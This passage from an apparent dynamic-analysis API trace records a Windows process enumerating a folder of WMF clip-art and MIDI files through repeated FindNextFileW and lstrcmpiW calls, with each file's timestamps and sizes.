ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01039_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01044_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01060_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN02122_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN02559_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN02724_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN03500_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN04108_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0079.605] lstrcmpiW (lpString1="AN04117_.WMF", lpString2=".") returned 1 [0079.605] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="..") returned 1 [0079.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04134_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04174_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04191_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04195_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04196_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04196_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04206_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04206_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04225_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04225_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04235_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04235_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0079.606] lstrcmpiW (lpString1="AN04267_.WMF", lpString2=".") returned 1 [0079.606] lstrcmpiW (lpString1="AN04267_.WMF", lpString2="..") returned 1 [0079.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0079.607] lstrcmpiW (lpString1="AN04269_.WMF", lpString2=".") returned 1 [0079.607] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="..") returned 1 [0079.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0079.607] lstrcmpiW (lpString1="AN04323_.WMF", lpString2=".") returned 1 [0079.607] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="..") returned 1 [0079.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0079.607] lstrcmpiW (lpString1="AN04326_.WMF", lpString2=".") returned 1 [0079.607] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="..") returned 1 [0079.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0079.607] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".") returned 1 [0079.607] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="AN04384_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="AN04385_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BABY_01.MID", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BABY_01.MID", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00116_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0079.608] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".") returned 1 [0079.608] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="..") returned 1 [0079.608] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, 